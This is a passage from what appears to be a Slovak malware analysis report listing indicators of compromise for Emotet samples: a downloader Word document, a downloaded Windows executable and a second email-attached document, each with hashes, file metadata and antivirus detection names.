Detekcia antivírmi	39/58 VirusTotal, timestamp 2020-09-19 21:37:08 UTC
ESET-NOD32	VBA/TrojanDownloader.Agent.UFY
Kaspersky	HEUR:Trojan.MSOffice.SAgent.gen
Microsoft	TrojanDownloader:O97M/Emotet.CSK!MTB
Symantec	Trojan.Gen.2

File Type	DOC
FileTypeExtension	doc
MIME Type	application/msword
File Size	172 kB
Creator	Quentin Dumas
Modify Date	2020:09:17 10:17:00

Mjlzifmu.exe

Názov súboru	Mjlzifmu.exe
Veľkosť súboru	437 248 B
Typ súboru	PE32 executable for MS Windows (GUI) Intel 80386 32-bit
MD5	76a4e06090edddb33f3a4e6d235d0d98
SHA-1	9944a1134e43c7ec9c82005f73bd5ed31ba6f83f
SHA-256	ddf06e4e7f5782f4968717f85329a42ba0edfe2f1dc3ac2032f143db82b0345f
SSDeep	6144:vXBr9LW/6DUvum8l71YQvq6H/iaRT8oITZO/rVurq:vXdNDDUvum8l5lv7Ha+ThmZo5uG
Pôvod vzorky	Súbor stiahnutý Powershell skriptom
Spôsob analýzy	Statická, behaviorálna
Postihnuté systémy	OS Windows
Detekcia antivírmi	52/71 VirusTotal, timestamp 2020-09-25 12:05:31 UTC
ESET-NOD32	Win32/Emotet.CB
Kaspersky	HEUR:Trojan-Banker.Win32.Emotet.pef
Microsoft	Trojan:Win32/Emotet.ARJ!MTB
Symantec	Trojan.Emotet

File Type	Win32 EXE
FileTypeExtension	exe
MIME Type	application/octet-stream
PE Type	PE32
Object File Type	Executable application
File Size	427.00 KB
Packer	Microsoft Visual Cpp 8

5. FILE_17_09_2020.doc

Názov súboru	FILE_17_09_2020.doc
Veľkosť súboru	163 340 B
Typ súboru	Microsoft Word 97-2003 Document
MD5	a675fcda7326c1c768abe4f410c80144
SHA-1	3cc3e375fddf81ff2cb6b7fbd75aa028561878a8
SHA-256	52a2af7330c0229f576c751e8cc032dd737c9eb0f71f956f71a0d748b168abbc
SSDeep	1536:+iaqasrdi1Ir77zOH98Wj2gpngx+a9hxRiqLE8ct2PU7eXKSSxH5ppJx WFWh:+0rfrzOH98ipghkJxWFWh
Pôvod vzorky	Príloha podozrivej emailovej správy
Spôsob analýzy	Statická, behaviorálna
Postihnuté systémy	OS Windows
Detekcia antivírmi	39/59 VirusTotal, timestamp 2020-09-18 12:08:31 UTC
ESET-NOD32	VBA/TrojanDownloader.Agent.UJH
Kaspersky	HEUR:Trojan.MSOffice.SAgent.gen
Microsoft	TrojanDownloader:O97M/Emotet.CSK!MTB
Symantec	W97M.Downloader

File Type	DOC
FileTypeExtension	doc
MIME Type	application/msword
File Size	160 kB
Creator	Théo David
Modify Date	2020:09:17 04:18:00